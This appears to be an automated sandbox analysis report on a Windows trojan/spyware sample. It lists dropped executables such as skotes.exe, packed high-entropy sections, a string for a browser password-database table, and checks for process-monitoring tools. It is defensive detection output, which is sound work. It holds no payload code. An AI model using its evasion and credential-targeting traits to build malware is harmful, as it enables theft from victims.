Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: Section: dqejjcio ZLIB complexity 0.9941108464125561
Source: skotes.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9981852435286104
Source: skotes.exe.6.dr	Static PE information: Section: dqejjcio ZLIB complexity 0.9941108464125561

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/5@5/3

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2552455614.00000000052E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200638015.00000000052B1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200332919.00000000052CF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 34%

Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: [RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeP

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe "C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe "C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe"
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe "C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe "C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2930688 > 1048576

Source: file.exe

Static PE information: Raw size of sqhbpttq is bigger than: 0x100000 < 0x29fe00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Unpacked PE file: 5.2.08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W;oqnpedhk:EW;qseuxiwn:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Unpacked PE file: 6.2.YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.830000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.830000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: skotes.exe.6.dr	Static PE information: real checksum: 0x1d44b0 should be: 0x1da590
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: real checksum: 0x1d44b0 should be: 0x1da590
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: real checksum: 0x2a1cfa should be: 0x29fc18
Source: file.exe	Static PE information: real checksum: 0x2cf548 should be: 0x2d806d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: sqhbpttq
Source: file.exe	Static PE information: section name: eaurdqdn
Source: file.exe	Static PE information: section name: .taggant
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: section name:
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: section name: .idata
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: section name: oqnpedhk
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: section name: qseuxiwn
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: section name: .taggant
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name:
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name: .idata
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name:
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name: dqejjcio
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name: gfikdque
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: .idata
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: dqejjcio
Source: skotes.exe.6.dr	Static PE information: section name: gfikdque
Source: skotes.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E801B push esi; ret	0_3_009E8029
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E801B push esi; ret	0_3_009E8029
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E801B push esi; ret	0_3_009E8029
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E801B push esi; ret	0_3_009E8029
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E801B push esi; ret	0_3_009E8029
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD002 push esp; retf	0_3_052AD061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD002 push esp; retf	0_3_052AD061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD002 push esp; retf	0_3_052AD061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD213 push ss; retf	0_3_052AD271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD213 push ss; retf	0_3_052AD271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD213 push ss; retf	0_3_052AD271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A926D push es; ret	0_3_052A92F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A926D push es; ret	0_3_052A92F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A926D push es; ret	0_3_052A92F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A926D push es; ret	0_3_052A92F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AECFA push ss; retf	0_3_052AECFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AECFA push ss; retf	0_3_052AECFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AECFA push ss; retf	0_3_052AECFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A90B2 push ds; ret	0_3_052A9231
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A90B2 push ds; ret	0_3_052A9231
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A90B2 push ds; ret	0_3_052A9231
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD002 push esp; retf	0_3_052AD061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD002 push esp; retf	0_3_052AD061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD002 push esp; retf	0_3_052AD061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD213 push ss; retf	0_3_052AD271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD213 push ss; retf	0_3_052AD271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052AD213 push ss; retf	0_3_052AD271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A926D push es; ret	0_3_052A92F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A926D push es; ret	0_3_052A92F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A926D push es; ret	0_3_052A92F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_052A926D push es; ret	0_3_052A92F1

Source: file.exe	Static PE information: section name: entropy: 7.982439442105867
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: section name: entropy: 7.785783412622672
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name: entropy: 7.982126816973067
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name: dqejjcio entropy: 7.952585100366962
Source: skotes.exe.6.dr	Static PE information: section name: entropy: 7.982126816973067
Source: skotes.exe.6.dr	Static PE information: section name: dqejjcio entropy: 7.952585100366962

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
